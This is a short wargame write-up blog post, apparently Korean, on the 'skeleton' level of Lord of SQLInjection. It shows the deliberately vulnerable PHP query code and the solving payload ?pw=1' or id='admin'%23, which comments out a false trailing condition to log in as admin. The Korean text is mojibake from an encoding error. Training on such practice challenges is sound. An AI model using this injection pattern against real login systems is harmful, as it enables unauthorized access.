wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of SQLInjection

skeleton

Kortsec1 2022. 4. 2. 17:39
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

๋’ค์— ๊ฑฐ์ง“์ธ ์‹์ด ์žˆ๊ธฐ์— ์ด๋ฅผ ์ฃผ์„์ฒ˜๋ฆฌ ํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค.

?pw=1' or id='admin'%23

 

๊ทธ๋ฆผ1 ์†์‰ฝ๊ฒŒ ์„ฑ๊ณต

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of SQLInjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

darkknight  (0) 2022.04.02
golem  (0) 2022.04.02
vampire  (0) 2022.04.02
troll  (0) 2022.04.02